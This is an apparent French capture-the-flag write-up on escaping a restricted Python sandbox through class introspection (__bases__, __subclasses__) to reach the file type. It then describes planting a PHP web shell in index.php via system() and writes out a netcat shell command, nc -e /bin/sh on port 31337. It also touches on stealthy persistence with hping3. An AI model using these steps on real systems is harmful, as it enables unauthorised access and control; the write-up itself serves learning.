(Rappelons qu'ici l'objectif sera de lire un fichier nommé "FileToRead" et placé dans le répertoire courant.)

Tout d'abord que voyons nous?
On remarque vite qu'une fonction est appelée afin de nous empêcher d'accéder à certains __builtins__() qui sont, pour rappel, des fonctions prédéfinies de Python.

Dommage, pas de eval(), pas de possibilité d'appeler __import__() ni open() enfin bref que du bonheur !
A présent j'ai deux approche en tête mais ne vais me consacrer qu'à une qui m'a particulièrement plûe et que je vais donc dérouler à présent.

ne pouvant me reposer sur mes __builtins__() préférés, je vais commencer par rapidement faire une évaluation des possibilités qui s'offrent tout de même à moi et après quelques tests (certains visible dans le screenshot suivant) me voila arrivé à ceci:




Bon, ici que voyons-nous concrètement?
Et bien pas mal de choses intéressantes comme surtout l'appel aux sous-classes qui est possible (pourquoi ne le serait-il pas??) et bien sûr le builtin dir() qui nous retourne une liste complète des attributs disponibles!

Dans ce cas cherchons donc si quelque chose existe et se trouve disponible pour arriver à sortir de cette sandbox et aller lire notre fichier comme nous le ferions avec le builtin file() (ne pas confondre avec __file__).

Oui mais alors comment faire? Simple! Allons ici lire la doc Python afin d'avoir quelques précisions et idées !

L'attribut "bases" peux nous aider, en effet, ce dernier retourne les classes de base d'un objet de classe (sous classe), testons et creusons:


WOOT!!

Bon la je sais pas vous mais moi en voyant ça j'me dis que la sortie est proche réfléchissons et surtout continuons avec, en premier lieu, des tests en local sur l'interpréteur Python d'autant que nous voyons dans cette magnifique liste un certain "type file" et ça mes amis ça vaut de l'or !

L'idée sera alors de tester cette classe en utilisant son index.
Afin donc de ne pas le compter à la mano, utilisons bêtement une petite boucle et le tour sera alors joué:


Ok... à présent nous avons: la classe et son index donc testons notre idée en local et si cette dernière fonctionne, sur notre sandbox afin d'aller jouer hors du bac à sable:



Et bien, qu'est-ce que je disais!?
La sortie semble toute proche et l'heure de vérité a sonné: libérons nous de nos chaînes !!


Pour aller plus loin


A partir d'ici nous ne sommes plus gêné et sortons de la sandbox alors il serait temps de, par exemple, s'octroyer un petit shell qu'en dites vous ?

(on peux aussi modifier des configurations réseau ou autre, cela dépendra de votre imagination, de vos compétences, de vos objectifs mais surtout des permissions)

J'illustrerais cela avec la compromission du système via son site web avec obtention d'un web shell puis d'un reverse shell via NC (si un IPTABLES était présent j'aurais tout aussi bien pût mettre en pratique mon firewall bypassing et maintenir un accès furtif persistant via l'option -9 ou --listen-signature sous HPING3).

Ici mon idée sera simple: injecter du code php dans la page d'index index.php avec un paramètre passé en GET puis transmis à system() pour  obtenir mon web shell:



Bon il est évident que nous avons un léger soucis avec les espaces, qu'à cela ne tienne, utilisons autre chose:



Okay il semble que cette fois-ci notre code malicieux ait bien été injecté dans la page souhaitée testons et par la même voyons si notre reverse shell peux être mis en place!


Magnifique!!
A présent voyons si notre nc -nvv -l -p 31337 -e /bin/sh fonctionne:


Et voilà !!  Mission accomplie avec succès: "from sandbox to reverse shell" , bien sûr tout  cela peut encore être amélioré (FW bypass, priv-esc ..) mais ce n'est pas le sujet ici.

Vous avez donc bien plus ici qu'un simple write-up tel qu'on en trouve concernant ce type de challenge sur le net avec, je l'espère, une meilleure visibilité sur l'impact que peux avoir une évasion de sandbox mais aussi comment concrètement cela se passe!
Nos seules limites? Nos compétences et notre imagination...comme toujours...

Liens utiles et qui m'ont énormément appris:
http://zolmeister.com/2013/05/escaping-python-sandbox.html
https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

A bientôt pour de nouvelles aventures et ... sortez couvert !! :D